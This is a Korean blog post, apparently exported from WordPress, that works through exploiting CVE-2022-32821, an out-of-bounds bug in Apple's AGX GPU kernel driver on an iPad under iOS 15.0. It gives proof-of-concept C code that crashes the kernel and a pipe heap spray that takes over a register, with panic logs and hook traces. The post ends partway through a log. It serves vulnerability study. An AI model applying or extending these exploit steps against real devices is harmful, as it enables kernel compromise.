{"id":4096,"date":"2026-01-30T02:31:21","date_gmt":"2026-01-29T17:31:21","guid":{"rendered":"https:\/\/h4ck.kr\/?p=4096"},"modified":"2026-01-30T02:31:22","modified_gmt":"2026-01-29T17:31:22","slug":"cve-2022-32821-%ec%9d%b5%ec%8a%a4%ed%94%8c%eb%a1%9c%ec%9e%87%ed%95%b4%eb%b3%b4%ea%b8%b0-arm64","status":"publish","type":"post","link":"https:\/\/h4ck.kr\/?p=4096","title":{"rendered":"CVE-2022-32821 \uc775\uc2a4\ud50c\ub85c\uc787\ud574\ubcf4\uae30 (arm64)"},"content":{"rendered":"\n<div class=\"wp-block-jetpack-markdown\"><h1>\ubc84\uadf8 \uc54c\uc544\ubcf4\uae30<\/h1>\n<p>\ud574\ub2f9 \ubc84\uadf8\ub294 iOS\/iPadOS 15.0\ubd80\ud130 \ud2b8\ub9ac\uac70 \uac00\ub2a5\ud558\uba70,\n\ub0b4\uac00 \uac16\uace0 \uc788\ub294 \uae30\uae30\ub4e4\uc911\uc5d0 A9\uce69\uc774 \ud0d1\uc7ac\ub41c \uc544\uc774\ud3f06s\uc5d0\uc11c\ub294 \ubc84\uadf8 \ud2b8\ub9ac\uac70\uac00 \ubd88\uac00\ub2a5\ud588\ub2e4.<\/p>\n<p>\ud558\uc9c0\ub9cc A10\uce69\uc774 \ud0d1\uc7ac\ub41c \uc544\uc774\ud328\ub4dc 7\uc138\ub300\uc5d0\uc11c\ub294 \ubc84\uadf8 \ud2b8\ub9ac\uac70 \uac00\ub2a5\ud588\uc73c\uba70, <a href=\"https:\/\/github.com\/potmdehex\/slides\/blob\/main\/Hexacon_2022_More_Tales_from_the_iOS_macOS_Kernel_Trenches.pdf\">@potmdhex \ubcf4\uc548 \uc5f0\uad6c\uc6d0\uaed8\uc11c \uacf5\uac1c\ud55cHexaCon 2022 \uc2ac\ub77c\uc774\ub4dc \uc815\ubcf4<\/a>\ub97c \ud1a0\ub300\ub85c \uc775\uc2a4\ud50c\ub85c\uc787\ud560 \uc218 \uc788\uac8c\ub054 \ub9cc\ub4e4\uc5b4\ubcf4\uc558\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2022-32821\/pics\/Screenshot_2026-01-27_at_4.04.04_PM.png\" alt=\"Screenshot 2026-01-27 at 4.04.04\u202fPM.png\"><\/p>\n<p>\uc2ac\ub77c\uc774\ub4dc \uc790\ub8cc\uc5d0 \ub530\ub974\uba74, \ud574\ub2f9 \ubc84\uadf8\ub294 IOGPU \ub4dc\ub77c\uc774\ubc84 \uc911 <code>AGXShared::create_mtllateevalevent<\/code>\uc5d0\uc11c Out-Of-Bounds\uc5d0 \uc758\ud574 \ub9f5\ud551\ub418\uc9c0 \uc54a\uc740 \ucee4\ub110 \uacf5\uac04\uc5d0 \uc811\uadfc\ud558\ub294\ub370\uc5d0\uc11c \ubb38\uc81c\uac00 \ubc1c\uc0dd\ud55c\ub2e4.<\/p>\n<p>\uc9c1\uc811 POC \ucf54\ub4dc\ub97c \ud55c\ubc88 \ub3cc\ub824\ubcf4\uc790.<\/p>\n<ul>\n<li>poc.c<\/li>\n<\/ul>\n<pre><code class=\"language-cpp\">#include &quot;iokit.h&quot;\n#include &quot;piper.h&quot;\n#include &quot;port_utils.h&quot;\n#include &quot;spray.h&quot;\n\nio_connect_t IOGPU_init(void)\n{\n    mach_port_t mp = MACH_PORT_NULL;\n    kern_return_t IOMasterPort(mach_port_t, mach_port_t *);\n    IOMasterPort(MACH_PORT_NULL, &amp;mp);\n    io_connect_t uc;\n\n    io_service_t s = IOServiceGetMatchingService(mp, IOServiceMatching(&quot;AGXAccelerator&quot;));\n    if (s == MACH_PORT_NULL)\n    {\n        return 0;\n    }\n    \n    if (IOServiceOpen(s, mach_task_self(), 1, &amp;uc) != KERN_SUCCESS)\n    {\n        return 0;\n    }\n    \n    return uc;\n}\n\nuint32_t IOGPU_create_mtllateeventevent(io_connect_t uc)\n{\n    uint64_t Output[2] = {0};\n    uint64_t OutputCount = 2;\n\n    kern_return_t kr = IOConnectCallMethod(uc, 29, 0, 0, 0, 0, Output, &amp;OutputCount, 0, 0);\n\n    if (kr)\n        return 0;\n    \n    return 1;\n}\n\nint main(int argc, char *argv[], char *envp[]) {     \n    io_connect_t uc = IOGPU_init();\n    printf(&quot;uc = 0x%x\\n&quot;, uc);\n\n    for(int i = 0; i &lt; 2049; i++) {\n        IOGPU_create_mtllateeventevent(uc);\n    }\n\n\treturn 0;\n}\n\n<\/code><\/pre>\n<p>\uadf8\ub7ec\uba74 \uc544\ub798\uc640 \uac19\uc774 \ud328\ub2c9\uc774 \ubc1c\uc0dd\ud55c\ub2e4.<\/p>\n<p>PC\uac12\uc744 \ud655\uc778\ud574\ubd24\uc744\ub584, <code>__ZN9AGXShared23create_mtllateevaleventEPy+0xC8<\/code> \uc9c0\uc810\uc5d0\uc11c \ud06c\ub798\uc2dc\uac00 \ubc1c\uc0dd\ud558\uc600\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">IOPlatformPanicAction -&gt; AppleEmbeddedNVMeController\nIOPlatformPanicAction -&gt; AppleARMWatchdogTimer\nIOPlatformPanicAction -&gt; AppleNubSynopsysOTG3Device\nIOPlatformPanicAction -&gt; AppleT8010MemCacheController\nIOPlatformPanicAction -&gt; RTBuddy\nIOPlatformPanicAction -&gt; RTBuddy\npanic(cpu 1 caller 0xfffffff01b7d6a8c): Kernel data abort. at pc 0xfffffff019d8d088, lr 0xfffffff019d8d038 (saved state: 0xffffffeb06a0b530)\n          x0:  0x0000000000000001 x1:  0x00000000000001fc  x2:  0x00000000ffffffff  x3:  0xffffffe0001f4810\n          x4:  0xffffffe3794b94c0 x5:  0xfffffff019d2a598  x6:  0xffffffe3793500e0  x7:  0x0000000000000000\n          x8:  0xffffffe379239d40 x9:  0x00000000001fffff  x10: 0x0000000000000008  x11: 0x0000000000000800\n          x12: 0xffffffe379239d50 x13: 0xffffffffffffffff  x14: 0x0000000000000000  x15: 0x00000000ffffffff\n          x16: 0x0000000000000001 x17: 0x0000000000000800  x18: 0xfffffff01b145000  x19: 0xffffffe0f2b1ac00\n          x20: 0xffffffeb06a0bb20 x21: 0xffffffe0f2fac800  x22: 0xffffffe0f3535800  x23: 0x00000000ffffffff\n          x24: 0x0000000000000000 x25: 0x0000000000003ff8  x26: 0x00000000ffffffff  x27: 0x0000000000fffff8\n          x28: 0xffffffe0f702728c fp:  0xffffffeb06a0b8d0  lr:  0xfffffff019d8d038  sp:  0xffffffeb06a0b880                                                \n          pc:  0xfffffff019d8d088 cpsr: 0x60400204         esr: 0x96000007          far: 0xffffffe37a239d38\n          \/\/pc 0xfffffff019d8d088 __ZN9AGXShared23create_mtllateevaleventEPy+0xC8     \n          \/\/lr 0xfffffff019d8d038 __ZN9AGXShared23create_mtllateevaleventEPy+0x78                                           \n                                                                                                                                                           \nDebugger message: panic                                                       \nMemory ID: 0xff                                         \nOS release type: User\nOS version: 19A346\nKernel version: Darwin Kernel Version 21.0.0: Sun Aug 15 20:55:57 PDT 2021; root:xnu-8019.12.5~1\/RELEASE_ARM64_T8010\nKernelCache UUID: 57691C393F521C02E8239112CC78465D\nKernel UUID: FD3DD515-ADD7-33E1-AB4B-CB6FDE03F919\niBoot version: pongoOS-2.6.3-7973456c\nsecure boot?: YES\nPaniclog version: 13\nKernel slide:      0x0000000013fc8000\nKernel text base:  0xfffffff01afcc000\nmach_absolute_time: 0x10bb54bb4\nEpoch Time:        sec       usec\n  Boot    : 0x69790352 0x000e4844\n  Sleep   : 0x00000000 0x00000000\n  Wake    : 0x00000000 0x00000000\n  Calendar: 0x697903ef 0x000a159a\n\nCORE 0: PC=0xfffffff01b1ad8f8, LR=0xfffffff01b1ad8f8, FP=0xffffffeb12a33ef0 \/\/processor_idle+0x124\nCORE 1 is the one that panicked. Check the full backtrace for details.\nPanicked task 0xffffffe0f342e108: 210 pages, 1 threads: pid 300: poc\nPanicked thread: 0xffffffe0f74fb140, backtrace: 0xffffffeb06a0acf0, tid: 3945\n                  lr: 0xfffffff01b1802d8  fp: 0xffffffeb06a0ad30  \/\/debugger_collect_diagnostics+0x184\n                  lr: 0xfffffff01b180068  fp: 0xffffffeb06a0ada0  \/\/handle_debugger_trap+0x278\n                  lr: 0xfffffff01b2a16ec  fp: 0xffffffeb06a0ae20  \/\/handle_uncategorized+0x100\n                  lr: 0xfffffff01b2a0874  fp: 0xffffffeb06a0aed0  \/\/sleh_synchronous+0x148\n                  lr: 0xfffffff01b1455fc  fp: 0xffffffeb06a0aee0  \/\/fleh_synchronous+0x28\n                  lr: 0xfffffff01b17fd80  fp: 0xffffffeb06a0b270  \/\/panic_trap_to_debugger+0x250\n                  lr: 0xfffffff01b17fd80  fp: 0xffffffeb06a0b2d0  \/\/panic_trap_to_debugger+0x250\n                  lr: 0xfffffff01b7cfc98  fp: 0xffffffeb06a0b2f0  \/\/panic+0x30\n                  lr: 0xfffffff01b7d6a8c  fp: 0xffffffeb06a0b460  \/\/panic_with_thread_kernel_state+0x108\n                  lr: 0xfffffff01b2a10fc  fp: 0xffffffeb06a0b510  \/\/sleh_synchronous+0x9d4\n                  lr: 0xfffffff01b1455fc  fp: 0xffffffeb06a0b520  \/\/fleh_synchronous+0x28\n                  lr: 0xfffffff019d8d038  fp: 0xffffffeb06a0b8d0  \/\/__ZN9AGXShared23create_mtllateevaleventEPy+0x78\n                  lr: 0xfffffff01b762bb0  fp: 0xffffffeb06a0b930  \/\/__ZN12IOUserClient14externalMethodEjP25IOExternalMethodArgumentsP24IOExternalMethodDispatchP8OSObjectPv+0x1E0\n                  lr: 0xfffffff01b76b4c4  fp: 0xffffffeb06a0bad0  \/\/is_io_connect_method+0x2FC\n                  lr: 0xfffffff01b270898  fp: 0xffffffeb06a0bbf0  \/\/__Xio_connect_method+0x190\n                  lr: 0xfffffff01b18503c  fp: 0xffffffeb06a0bc80  \/\/ipc_kobject_server+0x344\n                  lr: 0xfffffff01b15fb64  fp: 0xffffffeb06a0bcf0  \/\/ipc_kmsg_send+0x17C\n                  lr: 0xfffffff01b174dec  fp: 0xffffffeb06a0bd80  \/\/mach_msg_overwrite_trap+0xEC\n                  lr: 0xfffffff01b29712c  fp: 0xffffffeb06a0be60  \/\/mach_syscall+0x19C\n                  lr: 0xfffffff01b2a0d44  fp: 0xffffffeb06a0bf10  \/\/sleh_synchronous+0x618\n                  lr: 0xfffffff01b1455fc  fp: 0xffffffeb06a0bf20  \/\/fleh_synchronous+0x28\n\n** Stackshot Succeeded ** Bytes Traced 143125 (Uncompressed 371728) **\nIOPlatformPanicAction -&gt; AppleEmbeddedNVMeController\nIOPlatformPanicAction -&gt; AppleARMWatchdogTimer\nIOPlatformPanicAction -&gt; AppleNubSynopsysOTG3Device\nIOPlatformPanicAction -&gt; AppleT8010MemCacheController\nIOPlatformPanicAction -&gt; RTBuddy\nIOPlatformPanicAction -&gt; RTBuddy\nIOPlatformPanicAction -&gt; AppleEmbeddedNVMeController\nIOPlatformPanicAction -&gt; AppleARMWatchdogTimer\nIOPlatformPanicAction -&gt; AppleNubSynopsysOTG3Device\nIOPlatformPanicAction -&gt; AppleT8010MemCacheController\nIOPlatformPanicAction -&gt; RTBuddy\nIOPlatformPanicAction -&gt; RTBuddy\n\nPlease go to https:\/\/panic.apple.com to report this panic\n<\/code><\/pre>\n<p>x8 \uac12\uc5d0\uc11c x27\uac12\uc744 \ub354\ud55c \uc8fc\uc18c\uc758 \uba54\ubaa8\ub9ac \uc8fc\uc18c\ub97c \ucc38\uace0\ud558\ub824\ub294\ub370, \uc544\uc9c1 \ub9f5\ud551\ub418\uc9c0 \uc54a\uc740 \uacf5\uac04\uc774\uc5b4\uc11c \ud328\ub2c9\uc774 \ubc1c\uc0dd\ud558\ub294\uac70\uc600\ub2e4. \ub530\ub77c\uc11c \u201cKernel data abort\u201d \ud328\ub2c9\uc774 \ubc1c\uc0dd\ud55c\ub2e4.<\/p>\n<p>\uc5ec\uae30\uc11c \uc54c \uc218 \uc788\ub294 \uc0ac\uc2e4\uc740 0xffffffe3XXXXXXXX \uc8fc\uc18c\ub97c \ucc38\uace0\ud558\ub824\uace0 \ud588\ub2e4\ub294 \uac83\uc774\ub2e4. \uc774\ub294 <strong>\ud560\ub2f9\ub41c \ucee4\ub110 \uc8fc\uc18c(=x8)\ub85c\ubd80\ud130 0xfffff8(=x27 \uac12)\uc744 \ub354\ud574 \ub5a8\uc5b4\uc9c4 \uc8fc\uc18c<\/strong>\uc5d0 \uc811\uadfc\ud558\ub824\uace0 \ud588\ub2e4\ub294 \uac83\uc744 \uc758\ubbf8\ud55c\ub2e4.<\/p>\n<p>\ucee4\ub110 \ud799 \uc2a4\ud504\ub808\uc774\ub97c \ucda9\ubd84\ud788 \uc5ec\ub7ec\ubc88\ud55c\ub2e4\uba74 \ud328\ub2c9\uc5c6\uc774 \uc81c\uc5b4 \uac00\ub2a5\ud560 \uac83\uc774\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2022-32821\/pics\/Drawing_2026-01-28_14.57.22.excalidraw-fs8.png\" alt=\"Drawing 2026-01-28 14.57.22.excalidraw-fs8.png\"><\/p>\n<p>\uc2ac\ub77c\uc774\ub4dc \ucd94\uac00\uc815\ubcf4\uc5d0 \ub530\ub974\uba74 \ucd08\uae30 <strong>\ud560\ub2f9\ub41c \ucee4\ub110 \uc8fc\uc18c\ub294 IOMalloc_external \ud638\ucd9c\uc5d0 \uc758\ud574 default\/kext.kalloc.576 \uc874\uc73c\ub85c\ubd80\ud130 \ud560\ub2f9\ubc1b\uc558\ub2e4<\/strong>\ub294 \uac83\uc774\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2022-32821\/pics\/Screenshot_2026-01-28_at_4.23.47_PM.png\" alt=\"Screenshot 2026-01-28 at 4.23.47\u202fPM.png\"><\/p>\n<p>\uc2e4\uc81c\ub85c xnuspy\ub97c \ud1b5\ud574 \ucee4\ub110\uc744 \ud6c4\ud0b9\ud574\uc11c \ud655\uc778\ud574\ubcf4\uba74, \ub0b4\ubd80\uc801\uc73c\ub85c <code>AGXFirmwareResourceStack::replaceStorageArrays<\/code>\uc5d0\uc11c \ucee4\ub110 \uba54\ubaa8\ub9ac\ub97c \ud560\ub2f9\ud55c\ub2e4. IOMalloc_external \ud638\ucd9c\uc744 \ud1b5\ud574 528(=0x210)\ud06c\uae30\ub9cc\ud07c \ud560\ub2f9\ubc1b\ub294\ub370, default.kalloc.576 \uc874\uc73c\ub85c\ubd80\ud130 \ud560\ub2f9\ubc1b\ub294\ub2e4.<\/p>\n<ul>\n<li>kernhook  \uc18c\uc2a4\ucf54\ub4dc \ubc0f \uc2e4\ud589 \uacb0\uacfc<\/li>\n<\/ul>\n<p><a href=\"https:\/\/github.com\/wh1te4ever\/xnu_1day_practice\/blob\/edd231a7df04f857f4b51dcee98c21dffcdfe6bb\/CVE-2022-32821\/research_ipad7_150\/kernhook\/main.c\">https:\/\/github.com\/wh1te4ever\/xnu_1day_practice\/blob\/edd231a7df04f857f4b51dcee98c21dffcdfe6bb\/CVE-2022-32821\/research_ipad7_150\/kernhook\/main.c<\/a><\/p>\n<pre><code class=\"language-c\">...\n[  115.012000]: [kernhook] create_mtllateevalevent caller: 0xfffffff00779abb0\n[  115.012007]: [kernhook] create_mtllateevalevent kret = 0x0, AGXShared = 0xffffffe0f38e9600, a2 = 0xffffffeb06afbb20, caller = 0xfffffff00779abb0\n[  115.012066]: [kernhook] IOMalloc_external caller: 0xfffffff005da5440\n[  115.012073]: [kernhook] IOMalloc_external kret = 0xffffffe378d7f180, sz = 0x210\n[  115.012079]: [kernhook] replaceStorageArrays kret = 0x1, AGXFirmwareResourceStack = 0xffffffe0f368fba8, a2 = 0x2, caller = 0xfffffff005da4790\n[  115.012083]: [kernhook] growResourceStack caller: 0xfffffff005dc5038\n[  115.012090]: [kernhook] growResourceStack kret = 0x1, AGXFirmwareResourceStack = 0xffffffe0f368fba8, caller = 0xfffffff005dc5038\n[  115.012098]: [kernhook] panic_trap_to_debugger called due to panic, spinning here for a little bit...\n<\/code><\/pre>\n<ul>\n<li>\ud568\uc218 \ud638\ucd9c \ucd94\uc801<\/li>\n<\/ul>\n<p><code>__ZN9AGXShared23create_mtllateevaleventEPy<\/code>\n\u2192  <code>__ZN24AGXFirmwareResourceStackIy16AGXLateEvalEventE17growResourceStackEv<\/code>\n\u2192 <code>__ZN24AGXFirmwareResourceStackIy16AGXLateEvalEventE20replaceStorageArraysEj<\/code>\n\u2192 <code>j__IOMalloc_external_18<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2022-32821\/pics\/Drawing_2026-01-28_16.35.41.excalidraw-fs8.png\" alt=\"Drawing 2026-01-28 16.35.41.excalidraw-fs8.png\"><\/p>\n<p><code>AGXFirmwareResourceStack::replaceStorageArrays<\/code>\uc5d0\uc11c <code>IOMalloc_external<\/code>\uc5d0 \uc758\ud574 \ud560\ub2f9\ubc1b\uc740 \uc8fc\uc18c\ub294 \uc704 \ub0b4\uc6a9\uc744 \ubcf4\ub2e4\uc2dc\ud53c <strong>0xffffffe378d7f180<\/strong>\uc774\uc5c8\ub2e4.<\/p>\n<p>\uadf8\ub9ac\uace0 poc\ub97c \uc2e4\ud589\uc2dc\ucf1c \ud328\ub2c9 \ub85c\uadf8\ub97c \ub2e4\uc2dc \uc0b4\ud3b4\ubcf4\uba74, \uc2e4\uc81c\ub85c \ud560\ub2f9\ubc1b\uc740 \uc8fc\uc18c\uac00 x8 \ub808\uc9c0\uc2a4\ud130 \uac12\uacfc \ub3d9\uc77c\ud558\ub2e4.\n\uc774\uc804\uc5d0 \ub9d0\ud588\ub2e4\uc2dc\ud53c, \uc5ec\uae30\uc11c \ub9f5\ud551\ub418\uc9c0 \uc54a\uc740 x8+0xfffff8 \uc8fc\uc18c\uc5d0 \uc811\uadfc\ud558\ub824\ub2e4\ubcf4\ub2c8 \ud328\ub2c9\uc774 \ubc1c\uc0dd\ud55c\ub2e4.<\/p>\n<pre><code class=\"language-c\">panic(cpu 1 caller 0xfffffff0107a6a8c)\n   Kernel data abort. at pc 0xfffffff00ed5d088, lr 0xfffffff00ed5d038 (saved state: 0xffffffeb06afb4c0)\n      x0:  0x0000000000000001 x1:  0xffffffeb06afb300  x2:  0x0000000000000000  x3:  0x0000000000000000\n      x4:  0x0000000000000000 x5:  0x00ffffff0000ffff  x6:  0xfffffff005dc5038  x7:  0x0000000000000000\n      x8:  0xffffffe378d7f180 x9:  0x00000000001fffff  x10: 0x0000000000000008  x11: 0xffffffeb05160000\n      x12: 0x00000000000000ff x13: 0x000000000000007f  x14: 0x0000000000000001  x15: 0xed07932700000000\n      x16: 0x000000000000003c x17: 0x0000000100000040  x18: 0xfffffff010115000  x19: 0xffffffe0f33cd440\n      x20: 0xffffffeb06afbb20 x21: 0xffffffe0f38e9600  x22: 0xffffffe0f368f000  x23: 0x00000000ffffffff\n      x24: 0x0000000000000000 x25: 0x0000000000003ff8  x26: 0x00000000ffffffff  x27: 0x0000000000fffff8\n      x28: 0xffffffe0f3eecf8c fp:  0xffffffeb06afb860  lr:  0xfffffff00ed5d038  sp:  0xffffffeb06afb810\n      pc:  0xfffffff00ed5d088 cpsr: 0x60400204         esr: 0x96000007          far: 0xffffffe379d7f178\n\nDebugger Message:      panic\nMemory ID:             0xff\nOS Release Type:       User\nOS Version:            19A346\nKernel Version:        Darwin Kernel Version 21.0.0: Sun Aug 15 20:55:57 PDT 2021; root:xnu-8019.12.5~1\/RELEASE_ARM64_T8010\nKernelCache UUID:      57691C393F521C02E8239112CC78465D\nKernel UUID:           FD3DD515-ADD7-33E1-AB4B-CB6FDE03F919\niBoot Version:         pongoOS-2.6.3-7973456c\nSecure Boot:           true\nPaniclog Version:      13\nKernel Slide:          0x8f98000\nKernel Text Base:      0xfffffff00ff9c000\nMach Absolute Time:    0xa7b3d955\n<\/code><\/pre>\n<p>\uadf8\ub807\ub2e4\uba74, data.kalloc.16384 \uc874\uc73c\ub85c \uc5ec\ub7ec\ubc88 \ud560\ub2f9\ubc1b\uc544 \ub370\uc774\ud130\ub97c \uc81c\uc5b4\ud560 \uc218 \uc788\ub294 \ud30c\uc774\ud504\ub97c \ub9cc\ub4e4\uc5b4\ubcf4\ub294\uac74 \uc5b4\ub5a8\uae4c?<\/p>\n<p>\uc544\ub798 poc2.c \ucf54\ub4dc\ub294 980\uac1c\uc758 \ud30c\uc774\ud504\ub97c \uc0dd\uc131\uc2dc\ud0a8\ub2e4\uc74c, \uac01 \ud30c\uc774\ud504\ub9c8\ub2e4 0x4000\ud06c\uae30\ub9cc\ud07c \ucee4\ub110 \ud560\ub2f9\ubc1b\ub418 \ubaa8\ub450 0x4142434445464748\ub85c \ucc44\uc6b4 \ub370\uc774\ud130\ub4e4\ub85c \uc2a4\ud504\ub808\uc774\ud558\uace0 \ucde8\uc57d\uc810\uc744 \ud2b8\ub9ac\uac70\uc2dc\ud0a8\ub2e4.<\/p>\n<ul>\n<li>poc2.c<\/li>\n<\/ul>\n<pre><code class=\"language-cpp\">#include &quot;iokit.h&quot;\n#include &quot;piper.h&quot;\n#include &quot;port_utils.h&quot;\n#include &quot;spray.h&quot;\n\nio_connect_t IOGPU_init(void)\n{\n    mach_port_t mp = MACH_PORT_NULL;\n    kern_return_t IOMasterPort(mach_port_t, mach_port_t *);\n    IOMasterPort(MACH_PORT_NULL, &amp;mp);\n    io_connect_t uc;\n\n    io_service_t s = IOServiceGetMatchingService(mp, IOServiceMatching(&quot;AGXAccelerator&quot;));\n    if (s == MACH_PORT_NULL)\n    {\n        return 0;\n    }\n    \n    if (IOServiceOpen(s, mach_task_self(), 1, &amp;uc) != KERN_SUCCESS)\n    {\n        return 0;\n    }\n    \n    return uc;\n}\n\nuint32_t IOGPU_create_mtllateeventevent(io_connect_t uc)\n{\n    uint64_t Output[2] = {0};\n    uint64_t OutputCount = 2;\n\n    kern_return_t kr = IOConnectCallMethod(uc, 29, 0, 0, 0, 0, Output, &amp;OutputCount, 0, 0);\n\n    if (kr)\n        return 0;\n    \n    return 1;\n}\n\nint main(int argc, char *argv[], char *envp[]) {\n\n    \/\/ prepare spray stuffs\n    increase_file_limit();\n    size_t pipe_count = 980;\n    size_t pipe_buffer_size = 0x4000;\n    uint8_t *pipe_buffer = (uint8_t *)malloc(pipe_buffer_size);\n    int *pipefds = create_pipes(&amp;pipe_count);\n    uint64_t val = 0x4142434445464748;\n    memset_pattern8(pipe_buffer, &amp;val, pipe_buffer_size);\n    pipe_spray(pipefds, pipe_count, pipe_buffer, pipe_buffer_size, NULL);\n\n    \/\/trigger bug\n    io_connect_t uc = IOGPU_init();\n    printf(&quot;uc = 0x%x\\n&quot;, uc);\n\n    for(int i = 0; i &lt; 2049; i++) {\n        IOGPU_create_mtllateeventevent(uc);\n    }\n\n\treturn 0;\n}\n\n<\/code><\/pre>\n<p>\uadf8\ub7ec\uba74 \ub354\uc774\uc0c1 \ub9f5\ud551\ub418\uc9c0 \uc54a\uc740 \ucee4\ub110 \uc8fc\uc18c\uc5d0 \uc811\uadfc\ud558\uc5ec \ud328\ub2c9\uc774 \ubc1c\uc0dd\ud558\ub294 \ubb38\uc81c\ub294 \uc5c6\uc5b4\uc9c4\ub2e4!<\/p>\n<p>\ubc14\ub85c \uadf8\ub2e4\uc74c \uba85\ub839\uc5b4\uc5d0\uc11c \ud328\ub2c9\uc774 \ubc1c\uc0dd\ud558\uc9c0\ub9cc, x8 \ub808\uc9c0\uc2a4\ud130\ub97c \uc131\uacf5\uc801\uc73c\ub85c \uc81c\uc5b4\uc2dc\ucf30\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">IOPlatformPanicAction -&gt; AppleEmbeddedNVMeController\nIOPlatformPanicAction -&gt; AppleARMWatchdogTimer\nIOPlatformPanicAction -&gt; AppleNubSynopsysOTG3Device\nIOPlatformPanicAction -&gt; AppleT8010MemCacheController\nIOPlatformPanicAction -&gt; RTBuddy\nIOPlatformPanicAction -&gt; RTBuddy\npanic(cpu 0 caller 0xfffffff026e8aa8c): Kernel data abort. at pc 0xfffffff02544108c, lr 0xfffffff025441038 (saved state: 0xffffffeb06afb530)\n          x0:  0x0000000000000001 x1:  0x00000000000001fc  x2:  0x00000000ffffffff  x3:  0xffffffe000340810\n          x4:  0xffffffe3796eddc0 x5:  0xfffffff0253de598  x6:  0xffffffe379630ae0  x7:  0x0000000000000000\n          x8:  0x4142434445464748 x9:  0x00000000001fffff  x10: 0x0000000000000008  x11: 0x0000000000000800\n          x12: 0xffffffe379691f90 x13: 0xffffffffffffffff  x14: 0x0000000000000000  x15: 0x00000000ffffffff\n          x16: 0x0000000000000001 x17: 0x0000000000000800  x18: 0xfffffff0267f9000  x19: 0xffffffe0f805f960\n          x20: 0xffffffeb06afbb20 x21: 0xffffffe0f3079400  x22: 0xffffffe0f2eff000  x23: 0x00000000ffffffff\n          x24: 0x0000000000000000 x25: 0x0000000000003ff8  x26: 0x00000000ffffffff  x27: 0x0000000000fffff8\n          x28: 0xffffffe0f643ce8c fp:  0xffffffeb06afb8d0  lr:  0xfffffff025441038  sp:  0xffffffeb06afb880\n          pc:  0xfffffff02544108c cpsr: 0x60400204         esr: 0x96000004          far: 0x4142434445464758\n          \/\/pc 0xfffffff02544108c __ZN9AGXShared23create_mtllateevaleventEPy+0xCC\n          \/\/lr 0xfffffff025441038 __ZN9AGXShared23create_mtllateevaleventEPy+0x78\n\nDebugger message: panic\nMemory ID: 0xff\nOS release type: User\nOS version: 19A346\nKernel version: Darwin Kernel Version 21.0.0: Sun Aug 15 20:55:57 PDT 2021; root:xnu-8019.12.5~1\/RELEASE_ARM64_T8010\nKernelCache UUID: 57691C393F521C02E8239112CC78465D\nKernel UUID: FD3DD515-ADD7-33E1-AB4B-CB6FDE03F919\niBoot version: pongoOS-2.6.3-7973456c\nsecure boot?: YES\nPaniclog version: 13\nKernel slide:      0x000000001f67c000\nKernel text base:  0xfffffff026680000\nmach_absolute_time: 0x6e750cbc\nEpoch Time:        sec       usec\n  Boot    : 0x6979099c 0x000b9e82\n  Sleep   : 0x00000000 0x00000000\n  Wake    : 0x00000000 0x00000000\n  Calendar: 0x697909cb 0x00018499\n\nCORE 0 is the one that panicked. Check the full backtrace for details.\nCORE 1: PC=0xfffffff025c7b464, LR=0xfffffff025c7b440, FP=0xffffffeb12073270     \/\/PC=_make_dirent_iterator+0x1EC; LR=_make_dirent_iterator+0x1C8;\nPanicked task 0xffffffe0f7b61a90: 210 pages, 1 threads: pid 280: poc\nPanicked thread: 0xffffffe0f7b264f0, backtrace: 0xffffffeb06afacf0, tid: 3226\n                  lr: 0xfffffff0268342d8  fp: 0xffffffeb06afad30    \/\/debugger_collect_diagnostics+0x184\n                  lr: 0xfffffff026834068  fp: 0xffffffeb06afada0    \/\/handle_debugger_trap+0x278\n                  lr: 0xfffffff0269556ec  fp: 0xffffffeb06afae20    \/\/handle_uncategorized+0x100\n                  lr: 0xfffffff026954874  fp: 0xffffffeb06afaed0    \/\/sleh_synchronous+0x148\n                  lr: 0xfffffff0267f95fc  fp: 0xffffffeb06afaee0    \/\/fleh_synchronous+0x28\n                  lr: 0xfffffff026833d80  fp: 0xffffffeb06afb270    \/\/panic_trap_to_debugger+0x250\n                  lr: 0xfffffff026833d80  fp: 0xffffffeb06afb2d0    \/\/panic_trap_to_debugger+0x250\n                  lr: 0xfffffff026e83c98  fp: 0xffffffeb06afb2f0    \/\/panic+0x30\n                  lr: 0xfffffff026e8aa8c  fp: 0xffffffeb06afb460    \/\/panic_with_thread_kernel_state+0x108\n                  lr: 0xfffffff0269550fc  fp: 0xffffffeb06afb510    \/\/sleh_synchronous+0x9d4\n                  lr: 0xfffffff0267f95fc  fp: 0xffffffeb06afb520    \/\/fleh_synchronous+0x28\n                  lr: 0xfffffff025441038  fp: 0xffffffeb06afb8d0    \/\/__ZN9AGXShared23create_mtllateevaleventEPy+0x78\n                  lr: 0xfffffff026e16bb0  fp: 0xffffffeb06afb930    \/\/__ZN12IOUserClient14externalMethodEjP25IOExternalMethodArgumentsP24IOExternalMethodDispatchP8OSObjectPv+0x1E0\n                  lr: 0xfffffff026e1f4c4  fp: 0xffffffeb06afbad0    \/\/is_io_connect_method+0x2FC\n                  lr: 0xfffffff026924898  fp: 0xffffffeb06afbbf0    \/\/__Xio_connect_method+0x190\n                  lr: 0xfffffff02683903c  fp: 0xffffffeb06afbc80    \/\/ipc_kobject_server+0x344\n                  lr: 0xfffffff026813b64  fp: 0xffffffeb06afbcf0    \/\/ipc_kmsg_send+0x17C\n                  lr: 0xfffffff026828dec  fp: 0xffffffeb06afbd80    \/\/mach_msg_overwrite_trap+0xEC\n                  lr: 0xfffffff02694b12c  fp: 0xffffffeb06afbe60    \/\/mach_syscall+0x19C\n                  lr: 0xfffffff026954d44  fp: 0xffffffeb06afbf10    \/\/sleh_synchronous+0x618\n                  lr: 0xfffffff0267f95fc  fp: 0xffffffeb06afbf20    \/\/fleh_synchronous+0x28\n\n** Stackshot Succeeded ** Bytes Traced 209775 (Uncompressed 538320) **\nIOPlatformPanicAction -&gt; AppleEmbeddedNVMeController\nIOPlatformPanicAction -&gt; AppleARMWatchdogTimer\nIOPlatformPanicAction -&gt; AppleNubSynopsysOTG3Device\nIOPlatformPanicAction -&gt; AppleT8010MemCacheController\nIOPlatformPanicAction -&gt; 